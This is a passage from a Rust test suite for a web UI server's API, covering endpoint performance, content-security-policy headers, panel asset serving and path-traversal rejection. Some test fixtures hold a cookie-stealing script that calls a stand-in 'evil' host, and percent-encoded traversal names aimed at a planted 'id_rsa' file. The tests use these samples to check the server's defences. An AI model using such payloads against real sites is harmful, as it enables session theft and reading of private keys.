11756        let (_tmp, repos) = performance_repositories().await;
11757        let fx = Fixture {
11758            home: TempDir::new().unwrap(),
11759            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11760        };
11761        let ui = Arc::new(
11762            Ui::new(
11763                fx.queue(),
11764                fx.questions(),
11765                fx.talks(),
11766                fx.runs(),
11767                fx.home.path().to_path_buf(),
11768                repos[0].clone(),
11769            )
11770            .with_worktrees_root(fx.home.path().join("wt")),
11771        );
11772        let mut previous = None;
11773        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11774            seed_performance(&fx, &repos, n, runs, items);
11775            let mut costs = Vec::new();
11776            for endpoint in ["questions", "talks", "health", "stats"] {
11777                for repo in &repos {
11778                    let cache = repo.join(".git/magi/config");
11779                    if cache.exists() {
11780                        std::fs::remove_dir_all(cache).unwrap();
11781                    }
11782                }
11783                let (_, cost) = request_cost::measure(async {
11784                    match endpoint {
11785                        "questions" => {
11786                            let _ = questions_list(State(ui.clone())).await.unwrap();
11787                        }
11788                        "talks" => {
11789                            let _ = talks_list(
11790                                State(ui.clone()),
11791                                Query(ListQuery {
11792                                    limit: None,
11793                                    ids: None,
11794                                }),
11795                                header::HeaderMap::new(),
11796                            )
11797                            .await
11798                            .unwrap();
11799                        }
11800                        "health" => {
11801                            let _ = health(State(ui.clone())).await.unwrap();
11802                        }
11803                        _ => {
11804                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11805                                .await
11806                                .unwrap();
11807                        }
11808                    }
11809                })
11810                .await;
11811                eprintln!("{endpoint} handler N={n}: {cost:?}");
11812                assert_eq!(
11813                    cost.0,
11814                    if matches!(endpoint, "talks" | "health") {
11815                        0
11816                    } else {
11817                        1
11818                    },
11819                    "{endpoint}"
11820                );
11821                assert!(
11822                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11823                    "{endpoint}: {cost:?}"
11824                );
11825                costs.push(cost);
11826            }
11827            if let Some(previous) = previous {
11828                assert_eq!(costs, previous);
11829            }
11830            previous = Some(costs);
11831        }
11832    }
11833
11834    #[tokio::test]
11835    async fn list_request_cost_scopes_do_not_mix() {
11836        let (_tmp, repos, fx) = performance_fixture().await;
11837        seed_performance(&fx, &repos, 10, 0, 10);
11838        let (questions, talks, notices) = tokio::join!(
11839            fx.get("/api/questions"),
11840            fx.get("/api/talks"),
11841            fx.get("/api/notifications")
11842        );
11843        assert_eq!(request_counts(&questions).0, 1);
11844        // Cached summaries perform no config discovery or git work, even
11845        // alongside the questions request that still discovers config.
11846        assert_eq!(request_counts(&talks), (0, 0));
11847        assert_eq!(request_counts(&notices), (0, 0));
11848    }
11849
11850    #[tokio::test]
11851    async fn list_endpoints_large_home_responses() {
11852        check_large_home_endpoints(false).await;
11853    }
11854
11855    #[tokio::test]
11856    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11857    async fn list_endpoints_large_home_ceiling() {
11858        check_large_home_endpoints(true).await;
11859    }
11860
11861    async fn check_large_home_endpoints(timed: bool) {
11862        let (_tmp, repos, fx) = performance_fixture().await;
11863        seed_performance(&fx, &repos, 200, 300, 400);
11864        let mut failures = Vec::new();
11865        // app.js boot/change loads plus the initial dashboard, settings and
11866        // repo picker. SSE is a persistent stream, not a bounded GET.
11867        for path in [
11868            "/",
11869            "/app.js",
11870            "/app.css",
11871            "/api/questions",
11872            "/api/runs?limit=300",
11873            "/api/queue",
11874            "/api/talks",
11875            "/api/notifications",
11876            "/api/health",
11877            "/api/stats",
11878            "/api/loop",
11879            "/api/settings",
11880            "/api/repos",
11881        ] {
11882            let start = std::time::Instant::now();
11883            let result = if timed {
11884                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11885            } else {
11886                Ok(fx.get(path).await)
11887            };
11888            let elapsed = start.elapsed();
11889            eprintln!("{path}: {elapsed:?}");
11890            match result {
11891                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11892                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11893                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11894            }
11895        }
11896        assert!(failures.is_empty(), "{}", failures.join("\n"));
11897    }
11898
11899    struct Res {
11900        status: u16,
11901        headers: String,
11902        /// The header block with its original casing, for the assertions that
11903        /// compare a header *value* rather than looking for a name. Lowercasing
11904        /// a CSP would hide a directive spelled with a capital letter, and the
11905        /// whole point of that test is that the string is exactly right.
11906        head: String,
11907        body: String,
11908        /// The body before any UTF-8 handling, for the routes that serve
11909        /// something other than text. A panel asset is a PNG as often as not,
11910        /// and `from_utf8_lossy` would silently replace half of it.
11911        bytes: Vec<u8>,
11912    }
11913
11914    impl Res {
11915        fn json(&self) -> Value {
11916            serde_json::from_str(&self.body)
11917                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11918        }
11919
11920        /// One header's value verbatim, or `None` when it was not sent.
11921        fn header(&self, name: &str) -> Option<&str> {
11922            self.head.lines().find_map(|line| {
11923                let (key, value) = line.split_once(':')?;
11924                key.trim()
11925                    .eq_ignore_ascii_case(name)
11926                    .then(|| value.trim_start().trim_end_matches('\r'))
11927            })
11928        }
11929    }
11930
11931    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11932    /// be read to end-of-stream without parsing framing.
11933    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11934        request_with(addr, method, path, body, &[]).await
11935    }
11936
11937    /// As [`request`], with extra request headers - conditional GETs need
11938    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11939    /// worse than one that sets none.
11940    async fn request_with(
11941        addr: SocketAddr,
11942        method: &str,
11943        path: &str,
11944        body: Option<&str>,
11945        extra: &[(&str, &str)],
11946    ) -> Res {
11947        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11948        for (name, value) in extra {
11949            head.push_str(&format!("{name}: {value}\r\n"));
11950        }
11951        if let Some(body) = body {
11952            head.push_str("Content-Type: application/json\r\n");
11953            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11954        }
11955        head.push_str("\r\n");
11956        if let Some(body) = body {
11957            head.push_str(body);
11958        }
11959        let mut socket = tokio::net::TcpStream::connect(addr)
11960            .await
11961            .expect("connect to the test server");
11962        socket
11963            .write_all(head.as_bytes())
11964            .await
11965            .expect("write request");
11966        let mut raw = Vec::new();
11967        socket.read_to_end(&mut raw).await.expect("read response");
11968        // Split on the raw bytes rather than on a lossy string, so a binary
11969        // body survives to be compared byte for byte.
11970        let split = raw
11971            .windows(4)
11972            .position(|w| w == b"\r\n\r\n")
11973            .expect("a header block");
11974        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11975        let bytes = raw[split + 4..].to_vec();
11976        let status = head
11977            .lines()
11978            .next()
11979            .and_then(|line| line.split_whitespace().nth(1))
11980            .and_then(|code| code.parse().ok())
11981            .expect("a status line");
11982        Res {
11983            status,
11984            headers: head.to_lowercase(),
11985            head,
11986            body: String::from_utf8_lossy(&bytes).into_owned(),
11987            bytes,
11988        }
11989    }
11990
11991    /// A `POST` carrying a raw binary body and its own headers, for the
11992    /// attachment upload route - `request_with` only ever sends
11993    /// `Content-Type: application/json`, which is wrong for an image and
11994    /// would corrupt anything not valid UTF-8 by round-tripping it through
11995    /// `&str` first.
11996    async fn request_bytes(
11997        addr: SocketAddr,
11998        path: &str,
11999        headers: &[(&str, &str)],
12000        body: &[u8],
12001    ) -> Res {
12002        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12003        for (name, value) in headers {
12004            head.push_str(&format!("{name}: {value}\r\n"));
12005        }
12006        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12007        let mut socket = tokio::net::TcpStream::connect(addr)
12008            .await
12009            .expect("connect to the test server");
12010        socket
12011            .write_all(head.as_bytes())
12012            .await
12013            .expect("write request head");
12014        socket.write_all(body).await.expect("write request body");
12015        let mut raw = Vec::new();
12016        socket.read_to_end(&mut raw).await.expect("read response");
12017        let split = raw
12018            .windows(4)
12019            .position(|w| w == b"\r\n\r\n")
12020            .expect("a header block");
12021        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12022        let bytes = raw[split + 4..].to_vec();
12023        let status = head
12024            .lines()
12025            .next()
12026            .and_then(|line| line.split_whitespace().nth(1))
12027            .and_then(|code| code.parse().ok())
12028            .expect("a status line");
12029        Res {
12030            status,
12031            headers: head.to_lowercase(),
12032            head,
12033            body: String::from_utf8_lossy(&bytes).into_owned(),
12034            bytes,
12035        }
12036    }
12037
12038    /// A run on disk, without touching the process-global magi home.
12039    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12040        let mut state = RunState::new(
12041            PathBuf::from("/repo/magi"),
12042            "main".to_owned(),
12043            "0123456789abcdef".to_owned(),
12044            "Add a web UI\n\nMobile first.".to_owned(),
12045            Config::default(),
12046        );
12047        state.id = id.to_owned();
12048        state.status = status;
12049        let dir = runs.join(id);
12050        std::fs::create_dir_all(&dir).expect("run dir");
12051        std::fs::write(
12052            dir.join("run.json"),
12053            serde_json::to_string_pretty(&state).expect("serialize run"),
12054        )
12055        .expect("write run.json");
12056    }
12057
12058    /// Same as [`write_run`], but against a named repository rather than the
12059    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12060    /// spread across more than one.
12061    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12062        let mut state = RunState::new(
12063            PathBuf::from(repo),
12064            "main".to_owned(),
12065            "0123456789abcdef".to_owned(),
12066            "task".to_owned(),
12067            Config::default(),
12068        );
12069        state.id = id.to_owned();
12070        state.status = status;
12071        let dir = runs.join(id);
12072        std::fs::create_dir_all(&dir).expect("run dir");
12073        std::fs::write(
12074            dir.join("run.json"),
12075            serde_json::to_string_pretty(&state).expect("serialize run"),
12076        )
12077        .expect("write run.json");
12078    }
12079
12080    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12081        let body = serde_json::json!({
12082            "schema": 1,
12083            "pid": 4242,
12084            "started_at": Timestamp::now().to_string(),
12085            "updated_at": updated_at.to_string(),
12086            "idle": false,
12087            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12088            "completed": 7,
12089            "polls": 143,
12090        });
12091        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12092    }
12093
12094    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12095    ///
12096    /// No test in this file may start the real loop - see [`Ui::launch`] for
12097    /// why - so this stands in for the only thing the routes need a loop to
12098    /// do: keep running until `Stop` is set, then return. A real
12099    /// `serve_until` here would resolve its queue and its status file through
12100    /// the process-global magi home, claim whatever it found in the
12101    /// operator's live backlog, overwrite the status file of the `magi serve`
12102    /// that owns it, and spend real agent quota on a real competition.
12103    fn launch_idle(
12104        _opts: daemon::Opts,
12105        stop: daemon::Stop,
12106    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12107        Box::pin(async move {
12108            while !stop.stopped() {
12109                tokio::time::sleep(Duration::from_millis(2)).await;
12110            }
12111            Ok(())
12112        })
12113    }
12114
12115    /// A loop that fails on the way up, the way one whose home has gone
12116    /// read-only does.
12117    fn launch_broken(
12118        _opts: daemon::Opts,
12119        _stop: daemon::Stop,
12120    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12121        // The stand-in dies instantly, so a restarted one can record its own
12122        // failure before the start's response is read. The second attempt
12123        // therefore fails with a different message, to tell a stale error
12124        // from a fresh one.
12125        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12126        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12127        Box::pin(async move {
12128            Err(anyhow::anyhow!(if first {
12129                "publish the daemon status file: read-only file system"
12130            } else {
12131                "the restarted stand-in failed as well"
12132            }))
12133        })
12134    }
12135
12136    /// The loop view once `want` accepts it.
12137    ///
12138    /// Polled rather than asserted straight after the POST because stopping
12139    /// is deliberately not instant - that is the contract - and rather than
12140    /// slept through because a fixed wait is either flaky or slow.
12141    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12142    /// finite, so a genuine hang fails the test instead of hanging the
12143    /// suite.
12144    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12145        for _ in 0..SETTLE_STEPS {
12146            let view = fx.get("/api/loop").await.json();
12147            if want(&view) {
12148                return view;
12149            }
12150            tokio::time::sleep(Duration::from_millis(10)).await;
12151        }
12152        panic!(
12153            "the loop never settled: {}",
12154            fx.get("/api/loop").await.json()
12155        );
12156    }
12157
12158    /// File an open question directly in the store the server reads.
12159    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12160        let store = fx.questions();
12161        let mut q = Question::new(
12162            "20260902-000000-beef".to_owned(),
12163            "implement".to_owned(),
12164            "impl-A".to_owned(),
12165            summary.to_owned(),
12166            "because it matters".to_owned(),
12167            choices.iter().map(|c| (*c).to_owned()).collect(),
12168        );
12169        store.put(&mut q).expect("put question");
12170        q.id
12171    }
12172
12173    /// A question with a panel the server can serve, plus the named assets.
12174    ///
12175    /// Written through `Questions::put_panel` rather than by laying out the
12176    /// directory here, so these tests exercise the same on-disk shape the
12177    /// agents produce and cannot pass against a layout only the tests know.
12178    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12179        let store = fx.questions();
12180        let mut q = Question::new(
12181            "20260902-000000-beef".to_owned(),
12182            "land".to_owned(),
12183            "fix".to_owned(),
12184            "Merge this?".to_owned(),
12185            "the diff is in the panel".to_owned(),
12186            vec!["merge".to_owned(), "hold".to_owned()],
12187        );
12188        // Staged outside the questions root, because `put_panel` copies from
12189        // wherever the agent left its files.
12190        let staging = fx.home.path().join("staging");
12191        std::fs::create_dir_all(&staging).expect("staging dir");
12192        let sources: Vec<PathBuf> = assets
12193            .iter()
12194            .map(|(name, bytes)| {
12195                let path = staging.join(name);
12196                std::fs::write(&path, bytes).expect("write staged asset");
12197                path
12198            })
12199            .collect();
12200        store
12201            .put_panel(&mut q, html, &sources)
12202            .expect("write the panel");
12203        store.put(&mut q).expect("put question");
12204        q.id
12205    }
12206
12207    /// A talk on disk, without talking to a model.
12208    ///
12209    /// Written as JSON straight into the store the server reads, because the
12210    /// only constructor `talk::begin` offers takes no turn but still requires
12211    /// a real caller-visible flow. The one thing this cannot make up is the
12212    /// seat, so it is built with the real `SeatState::new` and serialized -
12213    /// the alternative, hand-writing that object, would make these tests fail
12214    /// the day the seat gains a field.
12215    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12216        seed_talk_at(&fx.talks(), id, status)
12217    }
12218
12219    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12220        std::fs::create_dir_all(store.root()).expect("talks dir");
12221        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12222            .expect("serialize a seat");
12223        let body = serde_json::json!({
12224            "schema": 1,
12225            "id": id,
12226            "repo": "/repo/magi",
12227            "agent": "mock",
12228            "status": status,
12229            "turns": [],
12230            "created_at": Timestamp::now().to_string(),
12231            "updated_at": Timestamp::now().to_string(),
12232            "seat": seat,
12233        });
12234        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12235        store.get(id).expect("the seeded talk has to be readable");
12236        id.to_owned()
12237    }
12238
12239    #[tokio::test]
12240    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12241        let fx = Fixture::start().await;
12242        let id = panel(
12243            &fx,
12244            "<h1>Merge?</h1><img src=\"diff.svg\">",
12245            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12246        );
12247
12248        for path in [
12249            format!("/api/questions/{id}/panel"),
12250            format!("/api/questions/{id}/asset/diff.svg"),
12251        ] {
12252            let res = fx.get(&path).await;
12253            assert_eq!(res.status, 200, "{path}: {}", res.body);
12254            // The whole string, not a substring. A weakened directive - an
12255            // `img-src *` that lets a panel beacon out to a remote host, a
12256            // `script-src` anything, a missing `form-action` that lets it post
12257            // the owner's decision to a third party - has to fail here, and a
12258            // `contains` assertion would let every one of those through.
12259            assert_eq!(
12260                res.header("content-security-policy"),
12261                Some(
12262                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12263                     font-src data:; base-uri 'none'; form-action 'none'; \
12264                     frame-ancestors 'self'"
12265                ),
12266                "{path} is the only thing between a hostile panel and the tailnet"
12267            );
12268            assert_eq!(
12269                res.header("x-content-type-options"),
12270                Some("nosniff"),
12271                "{path}: a browser must not re-decide the type we sent"
12272            );
12273            assert_eq!(
12274                res.header("referrer-policy"),
12275                Some("no-referrer"),
12276                "{path}: a panel must not leak the question id off the machine"
12277            );
12278
12279            // The front end mounts the frame only after a `HEAD` says the
12280            // panel is there, so `HEAD` has to answer with the same status and
12281            // the same policy as `GET` - a preflight that came back without
12282            // the CSP would mean a frame mounted on an unverified promise.
12283            let pre = fx.head(&path).await;
12284            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12285            assert_eq!(
12286                pre.header("content-security-policy"),
12287                res.header("content-security-policy"),
12288                "{path}: the preflight carries the same policy"
12289            );
12290            assert_eq!(
12291                pre.header("content-type"),
12292                res.header("content-type"),
12293                "{path}: the preflight carries the same type"
12294            );
12295        }
12296    }
12297
12298    #[tokio::test]
12299    async fn a_panel_reaches_the_browser_byte_for_byte() {
12300        let fx = Fixture::start().await;
12301        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12302        // tag, an entity, and a multi-byte character. The sandbox is what makes
12303        // this safe, so nothing here may be rewritten on the way out - a
12304        // rewritten diff is a diff the owner cannot trust.
12305        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12306        let id = panel(&fx, html, &[]);
12307
12308        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12309
12310        assert_eq!(res.status, 200);
12311        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12312        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12313        assert_eq!(
12314            res.header("content-disposition"),
12315            None,
12316            "the panel itself is rendered in the frame, not downloaded"
12317        );
12318    }
12319
12320    #[tokio::test]
12321    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12322        let fx = Fixture::start().await;
12323        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12324        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12325        let id = panel(
12326            &fx,
12327            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12328            &[("diff.svg", svg), ("shot.png", png)],
12329        );
12330
12331        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12332        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12333
12334        assert_eq!(as_svg.status, 200);
12335        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12336        // An SVG is XML that may carry script. Inside the panel it is an
12337        // `<img src>` and the script cannot run; opened at the top level it
12338        // would be a document on magi's own origin, so the browser is told to
12339        // download it instead of rendering it.
12340        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12341
12342        assert_eq!(as_png.status, 200);
12343        assert_eq!(as_png.header("content-type"), Some("image/png"));
12344        assert_eq!(
12345            as_png.header("content-disposition"),
12346            None,
12347            "a raster image has no execution surface, so tapping it still shows it"
12348        );
12349        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12350    }
12351
12352    #[tokio::test]
12353    async fn an_html_asset_is_never_served_as_html() {
12354        let fx = Fixture::start().await;
12355        let id = panel(
12356            &fx,
12357            "<p>see the notes</p>",
12358            &[
12359                (
12360                    "notes.html",
12361                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12362                ),
12363                ("hook.js", b"fetch('http://evil/')"),
12364                ("data.json", b"{}"),
12365                ("HEADLINE.TXT", b"plain"),
12366            ],
12367        );
12368
12369        for name in ["notes.html", "hook.js", "data.json"] {
12370            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12371            assert_eq!(res.status, 200, "{name}: {}", res.body);
12372            // Serving this as text/html would be a way to reach agent markup
12373            // at the top level of the operator's browser, outside the frame's
12374            // sandbox and outside its CSP - which is the whole thing the panel
12375            // design exists to prevent. Unlisted types are downloads.
12376            assert_eq!(
12377                res.header("content-type"),
12378                Some("application/octet-stream"),
12379                "{name} must not be a type the browser will execute or render"
12380            );
12381        }
12382        // The whitelist is matched case-insensitively, so an agent shouting the
12383        // extension still gets a readable file rather than a download.
12384        let txt = fx
12385            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12386            .await;
12387        assert_eq!(
12388            txt.header("content-type"),
12389            Some("text/plain; charset=utf-8")
12390        );
12391    }
12392
12393    #[tokio::test]
12394    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12395        let fx = Fixture::start().await;
12396        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12397        // Something outside the panel directory that a traversal would reach if
12398        // one got through, so a passing test is not merely "the file was
12399        // missing anyway".
12400        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12401
12402        // Decoded before this server's handler sees them: axum percent-decodes
12403        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12404        // string with a NUL in it. All three look like ordinary single-segment
12405        // filenames to the router, so the router passes them through and
12406        // `valid_asset_name` is what refuses them - for the literal `..`, and
12407        // for `/`, `\` and NUL not being in the permitted character set.
12408        for encoded in [
12409            "%2e%2e%2fid_rsa",
12410            "..%2fid_rsa",
12411            "..%5cid_rsa",
12412            "%2e%2e%5cid_rsa",
12413            "diff%00.svg",
12414            "..",
12415            ".hidden",
12416            "%2e%2e%2f%2e%2e%2fid_rsa",
12417        ] {
12418            let res = fx
12419                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12420                .await;
12421            assert_eq!(
12422                res.status, 400,
12423                "`{encoded}` has to be refused by name, not looked up: {}",
12424                res.body
12425            );
12426            assert!(res.json()["error"].is_string(), "{}", res.body);
12427        }
12428
12429        // Not decoded, and never this handler's problem: a real slash makes the
12430        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12431        // so axum's router has no route to match and answers before any code
12432        // here runs. Asserted so that a future route with a wildcard segment
12433        // cannot quietly open this door.
12434        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12435            let res = fx
12436                .get(&format!("/api/questions/{id}/asset/{literal}"))
12437                .await;
12438            assert_eq!(
12439                res.status, 404,
12440                "`{literal}` must not match the asset route at all: {}",
12441                res.body
12442            );
12443        }
12444    }
12445
12446    #[tokio::test]
12447    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12448        let fx = Fixture::start().await;
12449        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12450        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12451
12452        // A question nobody wrote a panel for. The client preflights with HEAD
12453        // and cannot see inside a sandboxed frame, so this must be a status and
12454        // not an empty page.
12455        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12456        assert_eq!(none.status, 404, "{}", none.body);
12457        assert!(none.json()["error"].is_string(), "{}", none.body);
12458        assert_eq!(
12459            fx.head(&format!("/api/questions/{plain}/panel"))
12460                .await
12461                .status,
12462            404,
12463            "the preflight is the only way the client can learn this"
12464        );
12465
12466        // A name that is perfectly legal and simply is not there.
12467        let missing = fx
12468            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12469            .await;
12470        assert_eq!(missing.status, 404, "{}", missing.body);
12471        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12472
12473        // A question that does not exist at all, on both routes.
12474        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12475        assert_eq!(
12476            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12477            404
12478        );
12479    }
12480
12481    #[tokio::test]
12482    async fn a_run_with_an_open_question_reads_as_waiting() {
12483        let fx = Fixture::start().await;
12484        let run = "20260902-000000-beef".to_owned();
12485        write_run(&fx.runs(), &run, RunStatus::Implementing);
12486
12487        let before = fx.get("/api/runs").await.json();
12488        assert_eq!(before[0]["waiting"], false, "{before}");
12489
12490        let store = fx.questions();
12491        let mut q = Question::new(
12492            run.clone(),
12493            "implement".to_owned(),
12494            "impl-A".to_owned(),
12495            "Which backend?".to_owned(),
12496            String::new(),
12497            vec!["SQLite".to_owned()],
12498        );
12499        store.put(&mut q).expect("put");
12500
12501        let during = fx.get("/api/runs").await.json();
12502        assert_eq!(during[0]["waiting"], true, "{during}");
12503
12504        // Answered: the run is moving again, and the flag has to follow without
12505        // anything having rewritten run.json.
12506        q.answer(Answer::Choice("SQLite".to_owned()))
12507            .expect("answer");
12508        store.put(&mut q).expect("put");
12509        let after = fx.get("/api/runs").await.json();
12510        assert_eq!(after[0]["waiting"], false, "{after}");
12511    }
12512
12513    #[tokio::test]
12514    async fn an_open_question_is_listed_and_counted_by_health() {
12515        let fx = Fixture::start().await;
12516        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12517
12518        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12519        let listed = fx.get("/api/questions").await.json();
12520        assert_eq!(listed.as_array().expect("array").len(), 1);
12521        assert_eq!(listed[0]["id"], id);
12522        assert_eq!(listed[0]["status"], "open");
12523        assert_eq!(listed[0]["choices"][1], "Redis");
12524        // The count is what makes the phone's indicator honest: it is the one
12525        // number meaning nothing will move until a human acts.
12526        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12527    }
12528
12529    fn obsolete_approval_state() -> RunState {
12530        let mut state = crate::land::tests::repair_state(true, true);
12531        state.pr = Some(crate::run::PrRecord {
12532            url: "https://github.com/example/repo/pull/42".into(),
12533            number: 42,
12534            state: "open".into(),
12535            checks: "green".into(),
12536            round: 1,
12537            rounds: 4,
12538            red_at_merge: Vec::new(),
12539        });
12540        state
12541    }
12542
12543    #[tokio::test]
12544    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12545        for owner in ["missing", "current", "completed", "later"] {
12546            let fx = Fixture {
12547                home: TempDir::new().unwrap(),
12548                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12549            };
12550            let mut state = obsolete_approval_state();
12551            state.status = RunStatus::Landing;
12552            state.parked = true;
12553            state.driver_exited = true;
12554            let mut q = Question::new(
12555                state.id.clone(),
12556                crate::land::APPROVAL_NODE.into(),
12557                "land".into(),
12558                "Old approval".into(),
12559                "Original evidence".into(),
12560                vec!["merge".into(), "hold".into()],
12561            );
12562            state.land_approval = Some(crate::run::LandApproval {
12563                question: q.id.clone(),
12564                head: "head".into(),
12565            });
12566            state.save_under(fx.home.path()).unwrap();
12567            let stale = state.clone();
12568            fx.questions().put(&mut q).unwrap();
12569            let mut task = Task::new(
12570                "Owner".into(),
12571                "Original instruction".into(),
12572                state.repo.clone(),
12573                Source::Human,
12574            );
12575            task.runs.push(state.id.clone());
12576            task.status = if owner == "completed" {
12577                TaskStatus::Done
12578            } else {
12579                TaskStatus::Parked
12580            };
12581            if owner == "later" {
12582                task.runs.push("later-run".into());
12583            }
12584            if owner != "missing" {
12585                fx.queue().put(&mut task).unwrap();
12586            }
12587            let ui = Arc::new(Ui::new(
12588                fx.queue(),
12589                fx.questions(),
12590                fx.talks(),
12591                fx.runs(),
12592                fx.home.path().into(),
12593                state.repo.clone(),
12594            ));
12595            let response = question_answer(
12596                State(ui),
12597                Path(q.id.clone()),
12598                Ok(Json(NewAnswer {
12599                    choice: Some(crate::merge_decision::DISMISS.into()),
12600                    text: None,
12601                    ..Default::default()
12602                })),
12603            )
12604            .await
12605            .unwrap();
12606            assert_eq!(
12607                response.0.question.resolution().as_deref(),
12608                Some(crate::merge_decision::DISMISS)
12609            );
12610            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12611            assert_eq!(disk.status, RunStatus::Superseded);
12612            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12613            assert!(!crate::merge_decision::resumable_hold(&disk));
12614            assert_eq!(
12615                serde_json::to_value(&disk.pr).unwrap(),
12616                serde_json::to_value(&stale.pr).unwrap()
12617            );
12618            assert_eq!(fx.questions().count_open(), 0);
12619            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12620            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12621            if owner == "missing" {
12622                assert!(fx.queue().list().is_empty());
12623            } else {
12624                let after = fx.queue().get(&task.id).unwrap();
12625                assert_eq!(
12626                    after.status,
12627                    if owner == "current" {
12628                        TaskStatus::Done
12629                    } else {
12630                        task.status
12631                    }
12632                );
12633                assert_eq!(after.runs, task.runs);
12634                assert_eq!(after.instruction, task.instruction);
12635                assert_eq!(after.action_applied(&q.id), owner == "current");
12636            }
12637        }
12638    }
12639
12640    #[tokio::test]
12641    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12642        let fx = Fixture::start().await;
12643        let mut state = obsolete_approval_state();
12644        state.status = RunStatus::Landing;
12645        state.parked = true;
12646        state.driver_exited = true;
12647        let mut q = Question::new(
12648            state.id.clone(),
12649            crate::land::APPROVAL_NODE.into(),
12650            "land".into(),
12651            "Superseded PR approval".into(),
12652            "Original review evidence".into(),
12653            vec!["merge".into(), "hold".into()],
12654        );
12655        state.land_approval = Some(crate::run::LandApproval {
12656            question: q.id.clone(),
12657            head: "old-reviewed-head".into(),
12658        });
12659        // The old persisted PR may still say open even when a separate change
12660        // already landed. Dismissal must not use that snapshot to close it.
12661        state.save_under(fx.home.path()).unwrap();
